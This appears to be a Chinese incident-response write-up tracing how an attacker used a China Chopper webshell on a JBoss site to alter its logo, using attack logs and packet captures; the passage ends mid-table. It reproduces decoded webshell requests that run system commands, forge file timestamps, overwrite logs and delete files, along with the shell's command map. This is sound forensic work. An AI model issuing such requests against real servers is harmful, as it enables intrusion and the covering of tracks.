data-darkmode-original-bgcolor-16251261241097="#fff|rgb(255, 255, 255)"><p style="max-width: 100%;min-height: 1em;color: rgb(254, 254, 254);font-size: 14px;box-sizing: border-box !important;overflow-wrap: break-word !important;visibility: visible;" data-darkmode-bgcolor-16250261668466="rgb(25, 25, 25)" data-darkmode-original-bgcolor-16250261668466="#fff|rgb(255, 255, 255)" data-darkmode-color-16250261668466="rgb(254, 254, 254)" data-darkmode-original-color-16250261668466="#fff|rgb(254, 254, 254)" data-darkmode-bgcolor-16251261241097="rgb(25, 25, 25)" data-darkmode-original-bgcolor-16251261241097="#fff|rgb(255, 255, 255)" data-darkmode-color-16251261241097="rgb(254, 254, 254)" data-darkmode-original-color-16251261241097="#fff|rgb(254, 254, 254)"><span data-brushtype="text" style="max-width: 100%;font-size: 18px;box-sizing: border-box !important;overflow-wrap: break-word !important;visibility: visible;color: rgb(0, 0, 0);" data-darkmode-bgcolor-16250261668466="rgb(25, 25, 25)" data-darkmode-original-bgcolor-16250261668466="#fff|rgb(255, 255, 255)" data-darkmode-color-16250261668466="rgb(141, 141, 141)" data-darkmode-original-color-16250261668466="#fff|rgb(254, 254, 254)|rgb(89, 89, 89)" data-style="max-width: 100%; font-size: 18px; color: rgb(89, 89, 89); box-sizing: border-box !important; overflow-wrap: break-word !important; visibility: visible;" class="js_darkmode__1" data-darkmode-bgcolor-16251261241097="rgb(25, 25, 25)" data-darkmode-original-bgcolor-16251261241097="#fff|rgb(255, 255, 255)" data-darkmode-color-16251261241097="rgb(141, 141, 141)" data-darkmode-original-color-16251261241097="#fff|rgb(254, 254, 254)|rgb(89, 89, 89)">背景概述</span><strong style="max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;visibility: visible;" data-darkmode-bgcolor-16250261668466="rgb(25, 25, 25)" data-darkmode-original-bgcolor-16250261668466="#fff|rgb(255, 255, 255)" data-darkmode-color-16250261668466="rgb(254, 254, 254)" data-darkmode-original-color-16250261668466="#fff|rgb(254, 254, 254)" data-darkmode-bgcolor-16251261241097="rgb(25, 25, 25)" data-darkmode-original-bgcolor-16251261241097="#fff|rgb(255, 255, 255)" data-darkmode-color-16251261241097="rgb(254, 254, 254)" data-darkmode-original-color-16251261241097="#fff|rgb(254, 254, 254)"><span data-brushtype="text" style="max-width: 100%;font-size: 18px;color: rgb(89, 89, 89);box-sizing: border-box !important;overflow-wrap: break-word !important;visibility: visible;" data-darkmode-bgcolor-16250261668466="rgb(25, 25, 25)" data-darkmode-original-bgcolor-16250261668466="#fff|rgb(255, 255, 255)" data-darkmode-color-16250261668466="rgb(141, 141, 141)" data-darkmode-original-color-16250261668466="#fff|rgb(254, 254, 254)|rgb(89, 89, 89)" data-style="max-width: 100%; font-size: 18px; color: rgb(89, 89, 89); box-sizing: border-box !important; overflow-wrap: break-word !important; visibility: visible;" class="js_darkmode__1" data-darkmode-bgcolor-16251261241097="rgb(25, 25, 25)" data-darkmode-original-bgcolor-16251261241097="#fff|rgb(255, 255, 255)" data-darkmode-color-16251261241097="rgb(141, 141, 141)" data-darkmode-original-color-16251261241097="#fff|rgb(254, 254, 254)|rgb(89, 89, 89)"><br/></span></strong></p></section></section></section><p><br/></p><section style="text-indent: 2em;"><span style="font-size: 14px;">2021年6月，某单位系统关键图片被篡改，网站疑似遭到入侵。</span></section><section style="text-align: left;line-height: 150%;text-indent: 0em;"><span style="color: rgb(0, 0, 0);"><br/></span></section><section data-tools="135编辑器" data-id="88109" style="max-width: 100%;font-family: -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.544px;white-space: normal;background-color: rgb(255, 255, 255);caret-color: rgb(51, 51, 51);box-sizing: border-box !important;overflow-wrap: break-word !important;visibility: visible;" data-darkmode-bgcolor-16250261668466="rgb(25, 25, 25)" data-darkmode-original-bgcolor-16250261668466="#fff|rgb(255, 255, 255)" data-style="max-width: 100%; font-family: -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif; letter-spacing: 0.544px; white-space: normal; background-color: rgb(255, 255, 255); caret-color: rgb(51, 51, 51); box-sizing: border-box !important; overflow-wrap: break-word !important; visibility: visible;" class="js_darkmode__0" data-darkmode-bgcolor-16251261241097="rgb(25, 25, 25)" data-darkmode-original-bgcolor-16251261241097="#fff|rgb(255, 255, 255)"><section style="margin-right: auto;margin-left: auto;max-width: 100%;text-align: center;box-sizing: border-box !important;overflow-wrap: break-word !important;visibility: visible;" data-darkmode-bgcolor-16250261668466="rgb(25, 25, 25)" data-darkmode-original-bgcolor-16250261668466="#fff|rgb(255, 255, 255)" data-darkmode-bgcolor-16251261241097="rgb(25, 25, 25)" data-darkmode-original-bgcolor-16251261241097="#fff|rgb(255, 255, 255)"><section style="padding: 5px 20px;max-width: 100%;box-sizing: border-box;border-radius: 4px;border-width: 1px;border-style: solid;border-color: rgb(117, 117, 118);display: inline-block;overflow-wrap: break-word !important;visibility: visible;" data-darkmode-bgcolor-16250261668466="rgb(25, 25, 25)" data-darkmode-original-bgcolor-16250261668466="#fff|rgb(255, 255, 255)" data-darkmode-bgcolor-16251261241097="rgb(25, 25, 25)" data-darkmode-original-bgcolor-16251261241097="#fff|rgb(255, 255, 255)"><p style="max-width: 100%;min-height: 1em;color: rgb(254, 254, 254);font-size: 14px;box-sizing: border-box !important;overflow-wrap: break-word !important;visibility: visible;" data-darkmode-bgcolor-16250261668466="rgb(25, 25, 25)" data-darkmode-original-bgcolor-16250261668466="#fff|rgb(255, 255, 255)" data-darkmode-color-16250261668466="rgb(254, 254, 254)" data-darkmode-original-color-16250261668466="#fff|rgb(254, 254, 254)" data-darkmode-bgcolor-16251261241097="rgb(25, 25, 25)" data-darkmode-original-bgcolor-16251261241097="#fff|rgb(255, 255, 255)" data-darkmode-color-16251261241097="rgb(254, 254, 254)" data-darkmode-original-color-16251261241097="#fff|rgb(254, 254, 254)"><span data-brushtype="text" style="max-width: 100%;font-size: 18px;box-sizing: border-box !important;overflow-wrap: break-word !important;visibility: visible;color: rgb(0, 0, 0);" data-darkmode-bgcolor-16250261668466="rgb(25, 25, 25)" data-darkmode-original-bgcolor-16250261668466="#fff|rgb(255, 255, 255)" data-darkmode-color-16250261668466="rgb(141, 141, 141)" data-darkmode-original-color-16250261668466="#fff|rgb(254, 254, 254)|rgb(89, 89, 89)" data-style="max-width: 100%; font-size: 18px; color: rgb(89, 89, 89); box-sizing: border-box !important; overflow-wrap: break-word !important; visibility: visible;" class="js_darkmode__1" data-darkmode-bgcolor-16251261241097="rgb(25, 25, 25)" data-darkmode-original-bgcolor-16251261241097="#fff|rgb(255, 255, 255)" data-darkmode-color-16251261241097="rgb(141, 141, 141)" data-darkmode-original-color-16251261241097="#fff|rgb(254, 254, 254)|rgb(89, 89, 89)">获取信息</span><strong style="max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;visibility: visible;" data-darkmode-bgcolor-16250261668466="rgb(25, 25, 25)" data-darkmode-original-bgcolor-16250261668466="#fff|rgb(255, 255, 255)" data-darkmode-color-16250261668466="rgb(254, 254, 254)" data-darkmode-original-color-16250261668466="#fff|rgb(254, 254, 254)" data-darkmode-bgcolor-16251261241097="rgb(25, 25, 25)" data-darkmode-original-bgcolor-16251261241097="#fff|rgb(255, 255, 255)" data-darkmode-color-16251261241097="rgb(254, 254, 254)" data-darkmode-original-color-16251261241097="#fff|rgb(254, 254, 254)"><span data-brushtype="text" style="max-width: 100%;font-size: 18px;color: rgb(89, 89, 89);box-sizing: border-box !important;overflow-wrap: break-word !important;visibility: visible;" data-darkmode-bgcolor-16250261668466="rgb(25, 25, 25)" data-darkmode-original-bgcolor-16250261668466="#fff|rgb(255, 255, 255)" data-darkmode-color-16250261668466="rgb(141, 141, 141)" data-darkmode-original-color-16250261668466="#fff|rgb(254, 254, 254)|rgb(89, 89, 89)" data-style="max-width: 100%; font-size: 18px; color: rgb(89, 89, 89); box-sizing: border-box !important; overflow-wrap: break-word !important; visibility: visible;" class="js_darkmode__1" data-darkmode-bgcolor-16251261241097="rgb(25, 25, 25)" data-darkmode-original-bgcolor-16251261241097="#fff|rgb(255, 255, 255)" data-darkmode-color-16251261241097="rgb(141, 141, 141)" data-darkmode-original-color-16251261241097="#fff|rgb(254, 254, 254)|rgb(89, 89, 89)"><br/></span></strong></p></section></section></section><p><br/></p><p style="text-indent: 2em;"><span style="font-size: 14px;">从安全感知系统中导出近两天攻击行为日志，经分析处理共计1097条。</span></p><p style="text-indent: 2em;"><span style="font-size: 14px;text-indent: 2em;">从全流量系统中导出遭受攻击当天流量包，经分析处理共计101,801,984字节（97MB）数据包。</span></p><p style="line-height:150%;"><span style="font-family:宋体;"><br/></span></p><section style="text-align: left;line-height: 150%;text-indent: 0em;"><span style="color: rgb(0, 0, 0);"><br/></span></section><section data-tools="135编辑器" data-id="88109" style="max-width: 100%;font-family: -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.544px;white-space: normal;background-color: rgb(255, 255, 255);caret-color: rgb(51, 51, 51);box-sizing: border-box !important;overflow-wrap: break-word !important;visibility: visible;" data-darkmode-bgcolor-16250261668466="rgb(25, 25, 25)" data-darkmode-original-bgcolor-16250261668466="#fff|rgb(255, 255, 255)" data-style="max-width: 100%; font-family: -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif; letter-spacing: 0.544px; white-space: normal; background-color: rgb(255, 255, 255); caret-color: rgb(51, 51, 51); box-sizing: border-box !important; overflow-wrap: break-word !important; visibility: visible;" class="js_darkmode__0" data-darkmode-bgcolor-16251261241097="rgb(25, 25, 25)" data-darkmode-original-bgcolor-16251261241097="#fff|rgb(255, 255, 255)"><section style="margin-right: auto;margin-left: auto;max-width: 100%;text-align: center;box-sizing: border-box !important;overflow-wrap: break-word !important;visibility: visible;" data-darkmode-bgcolor-16250261668466="rgb(25, 25, 25)" data-darkmode-original-bgcolor-16250261668466="#fff|rgb(255, 255, 255)" data-darkmode-bgcolor-16251261241097="rgb(25, 25, 25)" data-darkmode-original-bgcolor-16251261241097="#fff|rgb(255, 255, 255)"><section style="padding: 5px 20px;max-width: 100%;box-sizing: border-box;border-radius: 4px;border-width: 1px;border-style: solid;border-color: rgb(117, 117, 118);display: inline-block;overflow-wrap: break-word !important;visibility: visible;" data-darkmode-bgcolor-16250261668466="rgb(25, 25, 25)" data-darkmode-original-bgcolor-16250261668466="#fff|rgb(255, 255, 255)" data-darkmode-bgcolor-16251261241097="rgb(25, 25, 25)" data-darkmode-original-bgcolor-16251261241097="#fff|rgb(255, 255, 255)"><p style="max-width: 100%;min-height: 1em;color: rgb(254, 254, 254);font-size: 14px;box-sizing: border-box !important;overflow-wrap: break-word !important;visibility: visible;" data-darkmode-bgcolor-16250261668466="rgb(25, 25, 25)" data-darkmode-original-bgcolor-16250261668466="#fff|rgb(255, 255, 255)" data-darkmode-color-16250261668466="rgb(254, 254, 254)" data-darkmode-original-color-16250261668466="#fff|rgb(254, 254, 254)" data-darkmode-bgcolor-16251261241097="rgb(25, 25, 25)" data-darkmode-original-bgcolor-16251261241097="#fff|rgb(255, 255, 255)" data-darkmode-color-16251261241097="rgb(254, 254, 254)" data-darkmode-original-color-16251261241097="#fff|rgb(254, 254, 254)"><span data-brushtype="text" style="max-width: 100%;font-size: 18px;box-sizing: border-box !important;overflow-wrap: break-word !important;visibility: visible;color: rgb(0, 0, 0);" data-darkmode-bgcolor-16250261668466="rgb(25, 25, 25)" data-darkmode-original-bgcolor-16250261668466="#fff|rgb(255, 255, 255)" data-darkmode-color-16250261668466="rgb(141, 141, 141)" data-darkmode-original-color-16250261668466="#fff|rgb(254, 254, 254)|rgb(89, 89, 89)" data-style="max-width: 100%; font-size: 18px; color: rgb(89, 89, 89); box-sizing: border-box !important; overflow-wrap: break-word !important; visibility: visible;" class="js_darkmode__1" data-darkmode-bgcolor-16251261241097="rgb(25, 25, 25)" data-darkmode-original-bgcolor-16251261241097="#fff|rgb(255, 255, 255)" data-darkmode-color-16251261241097="rgb(141, 141, 141)" data-darkmode-original-color-16251261241097="#fff|rgb(254, 254, 254)|rgb(89, 89, 89)">入侵过程还原</span><strong style="max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;visibility: visible;" data-darkmode-bgcolor-16250261668466="rgb(25, 25, 25)" data-darkmode-original-bgcolor-16250261668466="#fff|rgb(255, 255, 255)" data-darkmode-color-16250261668466="rgb(254, 254, 254)" data-darkmode-original-color-16250261668466="#fff|rgb(254, 254, 254)" data-darkmode-bgcolor-16251261241097="rgb(25, 25, 25)" data-darkmode-original-bgcolor-16251261241097="#fff|rgb(255, 255, 255)" data-darkmode-color-16251261241097="rgb(254, 254, 254)" data-darkmode-original-color-16251261241097="#fff|rgb(254, 254, 254)"><span data-brushtype="text" style="max-width: 100%;font-size: 18px;color: rgb(89, 89, 89);box-sizing: border-box !important;overflow-wrap: break-word !important;visibility: visible;" data-darkmode-bgcolor-16250261668466="rgb(25, 25, 25)" data-darkmode-original-bgcolor-16250261668466="#fff|rgb(255, 255, 255)" data-darkmode-color-16250261668466="rgb(141, 141, 141)" data-darkmode-original-color-16250261668466="#fff|rgb(254, 254, 254)|rgb(89, 89, 89)" data-style="max-width: 100%; font-size: 18px; color: rgb(89, 89, 89); box-sizing: border-box !important; overflow-wrap: break-word !important; visibility: visible;" class="js_darkmode__1" data-darkmode-bgcolor-16251261241097="rgb(25, 25, 25)" data-darkmode-original-bgcolor-16251261241097="#fff|rgb(255, 255, 255)" data-darkmode-color-16251261241097="rgb(141, 141, 141)" data-darkmode-original-color-16251261241097="#fff|rgb(254, 254, 254)|rgb(89, 89, 89)"><br/></span></strong></p></section></section></section><p><br/></p><p style="text-indent: 2em;"><span style="font-size: 14px;">由于图片被篡改，访问网页复制图片链接查看图片文件名。然后思考篡改图片大致流程为先下载图片，然后P图加上水印，然后再上传替换服务器上的图片。从攻击行为日志中检索图片文件名&#34;logo.gif&#34;，得到如下两条日志。可获知/August/August.jsp操作了这张图。（有经验的大佬可能通过这两行日志就已经看出来August.jsp是菜刀马了）</span></p><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li><li></li></ul><pre class="code-snippet__js" data-lang="perl"><code><span class="code-snippet_outer">攻击者尝试攻击：x.x.x.x:9090/August/August.jsp，攻击代码为：a=F&amp;z0=GB2312&amp;z1=%2Fusr%2Flocal%2Fjboss%2Fserver%2Fdefault%2F.%2Fdeploy%2Fmanagement%2Fconsole-mgr.sar%2Fweb-console.war%2Fimages%2Flogo.gif</span></code><code><span class="code-snippet_outer">攻击者尝试攻击：x.x.x.x:9090/August/August.jsp，攻击代码为：a=E&amp;z0=GB2312&amp;z1=%2Fusr%2Flocal%2Fjboss%2Fserver%2Fdefault%2F.%2Fdeploy%2Fmanagement%2Fconsole-mgr.sar%2Fweb-console.war%2Fimages%2Flogo.gif</span></code></pre></section><section style="text-indent: 2em;"><span style="font-size: 14px;">接下来从流量中检索 </span><span style="font-size: 14px;color: rgb(255, 79, 121);">August.jsp</span><span style="font-size: 14px;">，第一次出现的位置前后数据包可能存在上传马的数据包，使用wireshark打开数据包检索</span><span style="font-size: 14px;color: rgb(255, 79, 121);">http contains &#34;August.jsp&#34; </span><span style="font-size: 14px;">得到源目的IP，做进一步检索，查看第一条追踪http流。</span></section><p style="text-align: center;"><img class="rich_pages" data-galleryid="" data-ratio="0.5084643288996372" data-s="300,640" style="" data-type="png" data-w="1654" src="https://wechat2rss.xlab.app/img-proxy/?k=77cfe742&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FyYePiaZj2cHic9q3s4FrPZvAjkmd7DMyic7iaSEDE3UwwgucUibuWXiafIkxkxzSEicA3YOkb8oXvgaMicqzl0u2myjD3Q%2F640%3Fwx_fmt%3Dpng"/></p><p style="text-align: center;"><img class="rich_pages" data-galleryid="" data-ratio="0.5630645700903312" data-s="300,640" style="" data-type="png" data-w="2989" src="https://wechat2rss.xlab.app/img-proxy/?k=2b5a5071&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FyYePiaZj2cHic9q3s4FrPZvAjkmd7DMyic7kFRc2rSSFfIyPM8GxIPhy55aZ6lEjNKic2p96xVupRutXFTPia3bfKzg%2F640%3Fwx_fmt%3Dpng"/></p><section><span style="font-size: 14px;">URL解码后得到 </span><span style="font-size: 14px;color: rgb(255, 79, 121);">August.jsp</span><span style="font-size: 14px;"> 文件内容。（显然，</span><span style="font-size: 14px;color: rgb(255, 79, 121);">August.jsp</span><span style="font-size: 14px;">为菜刀马）</span><br/></section><p style="text-align: center;"><img class="rich_pages" data-galleryid="" data-ratio="0.5180402582605393" data-s="300,640" style="" data-type="png" data-w="2633" src="https://wechat2rss.xlab.app/img-proxy/?k=d234dd3d&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FyYePiaZj2cHic9q3s4FrPZvAjkmd7DMyic7xyCJ7xpiccWVdn9bjmoj6ecMmjrt1eUSOpVaUPNoLic3A6sxddtia0g0g%2F640%3Fwx_fmt%3Dpng"/></p><p style="text-indent: 2em;text-align: left;"><span style="font-size: 14px;">过滤 </span><span style="font-size: 14px;color: rgb(255, 79, 121);">http.request.method==&#34;POST&#34; and http.request.uri ==&#34;/August/August.jsp&#34;</span><span style="font-size: 14px;">，根据流量中请求的POST参数一步一步还原攻击全过程。提取出请求如下：（很多环境中没有记录全流量，可以从能记录post参数的安全设备中导出，如WAF）</span><br/></p><p style="text-align: center;"><img class="rich_pages" data-galleryid="" data-ratio="0.4708904109589041" data-s="300,640" style="" data-type="png" data-w="2336" src="https://wechat2rss.xlab.app/img-proxy/?k=a6d103ce&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FyYePiaZj2cHic9q3s4FrPZvAjkmd7DMyic7LrxXiaK9we3ibHnYpjQDWunXRNJQhqMwAvE1vUwr5B4qMAkfpUmqzfJg%2F640%3Fwx_fmt%3Dpng"/></p><p style="text-indent: 2em;"><span style="font-size: 14px;">要理解这些参数对应的操作，需分析菜刀马。粗略分析，参数中的a=B中的a是菜刀马的密码，B则会调用菜刀马中的BB函数，a=M则意味着会调用菜刀马的MM函数，以此类推。接下来分析菜刀马的所有XX函数执行什么操作，分析整理如下：</span></p><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li></ul><pre class="code-snippet__js" data-lang="ini"><code><span class="code-snippet_outer"><span class="code-snippet__attr">a</span>=A     //列出根目录</span></code><code><span class="code-snippet_outer"><span class="code-snippet__attr">a</span>=B     //列出指定目录文件</span></code><code><span class="code-snippet_outer"><span class="code-snippet__attr">a</span>=C     //读取文本文件</span></code><code><span class="code-snippet_outer"><span class="code-snippet__attr">a</span>=D     //写入文本文件</span></code><code><span class="code-snippet_outer"><span class="code-snippet__attr">a</span>=E     //删除文件或文件夹</span></code><code><span class="code-snippet_outer"><span class="code-snippet__attr">a</span>=F     //下载文件</span></code><code><span class="code-snippet_outer"><span class="code-snippet__attr">a</span>=G     //将<span class="code-snippet__number">16</span>进制字符串写为文件</span></code><code><span class="code-snippet_outer"><span class="code-snippet__attr">a</span>=H     //二进制文件复制</span></code><code><span class="code-snippet_outer"><span class="code-snippet__attr">a</span>=I     //文件重命名</span></code><code><span class="code-snippet_outer"><span class="code-snippet__attr">a</span>=J     //创建文件夹</span></code><code><span class="code-snippet_outer"><span class="code-snippet__attr">a</span>=K     //修改时间戳</span></code><code><span class="code-snippet_outer"><span class="code-snippet__attr">a</span>=L     //从指定链接下载文件</span></code><code><span class="code-snippet_outer"><span class="code-snippet__attr">a</span>=M     //读取命令执行结果</span></code><code><span class="code-snippet_outer"><span class="code-snippet__attr">a</span>=N     //连接数据库</span></code><code><span class="code-snippet_outer"><span class="code-snippet__attr">a</span>=O     //创建数据库表</span></code><code><span class="code-snippet_outer"><span class="code-snippet__attr">a</span>=P     //读取数据库列</span></code><code><span class="code-snippet_outer"><span class="code-snippet__attr">a</span>=Q     //读取数据库数据</span></code></pre></section><section style="text-indent: 2em;"><span style="font-size: 14px;">分析完菜刀马，我们就能很容易地通过流量中对马的请求参数来还原出攻击步骤，中间若干浏览目录的操作已省略。</span><br/></section><p style="text-align:left;text-indent:32px;line-height:150%;"><br/></p><table cellspacing="0" cellpadding="0"><colgroup><col style="width:369px;" width="369"/><col style="width:369px;" width="369"/></colgroup><tbody><tr style="height:19px;" height="19"><td style="word-break: break-all;" width="496" height="19"><span style="font-size: 10px;"><strong>请求参数</strong></span></td><td style="border-left: none;" width="187"><span style="font-size: 12px;"><strong>分析结果</strong></span></td></tr><tr style="height:93px;" height="93"><td style="" width="496" height="93"><span style="font-size: 12px;">a=M&amp;z0=GB2312&amp;z1=-c%2Fbin%2Fsh&amp;z2=cd+%22%2Fusr%2Flocal%2Fjboss%2Fserver%2Fdefault%2F.%2Fdeploy%2Fmanagement%2FAugust.war%2F%22%3Bid%3Becho+%5BS%5D%3Bpwd%3Becho+%5BE%5D</span></td><td style="" width="187"><span style="font-size: 12px;">执行命令[id]</span></td></tr><tr style="height:93px;" height="93"><td style="" width="348" height="93"><span style="font-size: 12px;">a=M&amp;z0=GB2312&amp;z1=-c%2Fbin%2Fsh&amp;z2=cd+%22%2Fusr%2Flocal%2Fjboss%2Fserver%2Fdefault%2Fdeploy%2Fmanagement%2FAugust.war%2F%22%3Bnetstat+-ano%3Becho+%5BS%5D%3Bpwd%3Becho+%5BE%5D</span></td><td style="" width="187"><span style="font-size: 12px;">执行命令[netstat -ano]</span></td></tr><tr style="height:93px;" height="93"><td style="" width="496" height="93"><span style="font-size: 12px;">a=H&amp;z0=GB2312&amp;z1=%2Fusr%2Flocal%2Fjboss%2Fserver%2Fdefault%2F.%2Fdeploy%2Fmanagement%2FAugust.war%2FAugust.jsp&amp;z2=%2Fusr%2Flocal%2Fjboss%2Fserver%2Fdefault%2F.%2Fdeploy%2Fjboss-web.deployer%2FROOT.war%2FAugust.jsp</span></td><td style="" width="187"><span style="font-size: 12px;">复制文件/usr/local/jboss/server/default/./deploy/management/August.war/August.jsp到/usr/local/jboss/server/default/./deploy/jboss-web.deployer/ROOT.war/August.jsp</span></td></tr><tr style="height:93px;" height="93"><td style="" width="496" height="93"><span style="font-size: 12px;">a=I&amp;z0=GB2312&amp;z1=%2Fusr%2Flocal%2Fjboss%2Fserver%2Fdefault%2F.%2Fdeploy%2Fjboss-web.deployer%2FROOT.war%2FAugust.jsp&amp;z2=%2Fusr%2Flocal%2Fjboss%2Fserver%2Fdefault%2F.%2Fdeploy%2Fjboss-web.deployer%2FROOT.war%2Ftest.jsp</span></td><td style="" width="187"><span style="font-size: 12px;">将/usr/local/jboss/server/default/./deploy/jboss-web.deployer/ROOT.war/August.jsp重命名为test.jsp</span></td></tr><tr style="height:75px;" height="75"><td style="" width="496" height="75"><span style="font-size: 12px;">a=K&amp;z0=GB2312&amp;z1=%2Fusr%2Flocal%2Fjboss%2Fserver%2Fdefault%2F.%2Fdeploy%2Fjboss-web.deployer%2FROOT.war%2Ftest.jsp&amp;z2=2008-07-19+02%3A21%3A04</span></td><td style="" width="187"><span style="font-size: 12px;">将/usr/local/jboss/server/default/./deploy/jboss-web.deployer/ROOT.war/test.jsp的最后修改时间改为2008-07-19  02:21:04</span></td></tr><tr style="height:75px;" height="75"><td style="" width="496" height="75"><span style="font-size: 12px;">a=K&amp;z0=GB2312&amp;z1=%2Fusr%2Flocal%2Fjboss%2Fserver%2Fdefault%2F.%2Fdeploy%2Fjboss-web.deployer%2FROOT.war&amp;z2=2008-07-19+02%3A22%3A10</span></td><td style="" width="187"><span style="font-size: 12px;">将/usr/local/jboss/server/default/./deploy/jboss-web.deployer/ROOT.war的最后修改时间改为2008-07-19  02:22:10</span></td></tr><tr style="height:93px;" height="93"><td style="" width="496" height="93"><span style="font-size: 12px;">a=K&amp;z0=GB2312&amp;z1=%2Fusr%2Flocal%2Fjboss%2Fserver%2Fdefault%2F.%2Fdeploy%2Fmanagement%2FAugust.war&amp;z2=2021-06-25+16%3A10%3A58</span></td><td style="" width="187"><span style="font-size: 12px;">将/usr/local/jboss/server/default/./deploy/management/August.war的最后修改时间改为2021-06-25  16:10:58<br/>    </span></td></tr><tr style="height:75px;" height="75"><td style="" width="496" height="75"><span style="font-size: 12px;">a=K&amp;z0=GB2312&amp;z1=%2Fusr%2Flocal%2Fjboss%2Fserver%2Fdefault%2F.%2Fdeploy%2Fmanagement%2FAugust.war%2FAugust.jsp&amp;z2=2021-06-25+16%3A10%3A58</span></td><td style="" width="187"><span style="font-size: 12px;">将/usr/local/jboss/server/default/./deploy/management/August.war/August.jsp的最后修改时间改为2021-06-25  16:10:58</span></td></tr><tr style="height:75px;" height="75"><td style="" width="496" height="75"><span style="font-size: 12px;">a=K&amp;z0=GB2312&amp;z1=%2Fusr%2Flocal%2Fjboss%2Fserver%2Fdefault%2F.%2Fdeploy%2Fmanagement%2FAugust.war%2Fshell.jsp&amp;z2=2021-06-25+16%3A10%3A58</span></td><td style="" width="187"><span style="font-size: 12px;">将/usr/local/jboss/server/default/./deploy/management/August.war/shell.jsp的最后修改时间改为2021-06-25  16:10:58</span></td></tr><tr style="height:93px;" height="93"><td style="" width="496" height="93"><span style="font-size: 12px;">a=M&amp;z0=GB2312&amp;z1=-c%2Fbin%2Fsh&amp;z2=cd+%22%2Fusr%2Flocal%2Fjboss%2Fserver%2Fdefault%2F.%2Fdeploy%2Fmanagement%2FAugust.war%2F%22%3Bps+aux%3Becho+%5BS%5D%3Bpwd%3Becho+%5BE%5D</span></td><td style="" width="187"><span style="font-size: 12px;">执行系统命令[ps aux]</span></td></tr><tr style="height:37px;" height="37"><td style="" width="496" height="37"><span style="font-size: 12px;">a=C&amp;z0=GB2312&amp;z1=%2Fusr%2Flocal%2Fjboss%2Fserver%2Fdefault%2F.%2Flog%2Fserver.log</span></td><td style="" width="187"><span style="font-size: 12px;">读取/usr/local/jboss/server/default/./log/server.log</span></td></tr><tr style="height:37px;" height="37"><td style="" width="496" height="37"><span style="font-size: 12px;">a=D&amp;z0=GB2312&amp;z1=%2Fusr%2Flocal%2Fjboss%2Fserver%2Fdefault%2F.%2Flog%2Fserver.log&amp;z2=1</span></td><td style="" width="187"><span style="font-size: 12px;">将“1”写入/usr/local/jboss/server/default/./log/server.log</span></td></tr><tr style="height:56px;" height="56"><td style="" width="395" height="56"><span style="font-size: 12px;">a=C&amp;z0=GB2312&amp;z1=%2Fusr%2Flocal%2Fjboss%2Fserver%2Fdefault%2F.%2Flog%2Fserver.log.2021-06-20</span></td><td style="" width="187"><span style="font-size: 12px;">读取/usr/local/jboss/server/default/./log/server.log.2021-06-20</span></td></tr><tr style="height:56px;" height="56"><td style="" width="496" height="56"><span style="font-size: 12px;">a=F&amp;z0=GB2312&amp;z1=%2Fusr%2Flocal%2Fjboss%2Fserver%2Fdefault%2F.%2Fdeploy%2Fmanagement%2Fconsole-mgr.sar%2Fweb-console.war%2FServerInfo.jsp</span></td><td style="" width="187"><span style="font-size: 12px;">下载/usr/local/jboss/server/default/./deploy/management/console-mgr.sar/web-console.war/ServerInfo.jsp</span></td></tr><tr style="height:56px;" height="56"><td style="" width="496" height="56"><span style="font-size: 12px;">a=E&amp;z0=GB2312&amp;z1=%2Fusr%2Flocal%2Fjboss%2Fserver%2Fdefault%2F.%2Fdeploy%2Fmanagement%2Fconsole-mgr.sar%2Fweb-console.war%2FServerInfo.jsp</span></td><td style="" width="187"><span style="font-size: 12px;">删除/usr/local/jboss/server/default/./deploy/management/console-mgr.sar/web-console.war/ServerInfo.jsp</span></td></tr><tr style="height:56px;" height="56"><td style="" width="496" height="56"><span style="font-size: 12px;">a=C&amp;z0=GB2312&amp;z1=%2Fusr%2Flocal%2Fjboss%2Fserver%2Fdefault%2F.%2Fdeploy%2Fmanagement%2Fconsole-mgr.sar%2Fweb-console.war%2Findex.html</span></td><td style="" width="187"><span style="font-size: 12px;">读取/usr/local/jboss/server/default/./deploy/management/console-mgr.sar/web-console.war/index.html</span></td></tr><tr style="height:75px;" height="75"><td style="" width="496" height="75"><span style="font-size: 12px;">a=F&amp;z0=GB2312&amp;z1=%2Fusr%2Flocal%2Fjboss%2Fserver%2Fdefault%2F.%2Fdeploy%2Fmanagement%2Fconsole-mgr.sar%2Fweb-console.war%2Fimages%2Flogo.gif</span></td><td style="" width="187"><span style="font-size: 12px;">下载/usr/local/jboss/server/default/./deploy/management/console-mgr.sar/web-console.war/images/logo.gif</span></td></tr><tr style="height:75px;" height="75"><td style="" width="496" height="75"><span style="font-size: 12px;">a=E&amp;z0=GB2312&amp;z1=%2Fusr%2Flocal%2Fjboss%2Fserver%2Fdefault%2F.%2Fdeploy%2Fmanagement%2Fconsole-mgr.sar%2Fweb-console.war%2Fimages%2Flogo.gif</span></td><td style="word-break: break-all;" width="187"><span style="font-size: 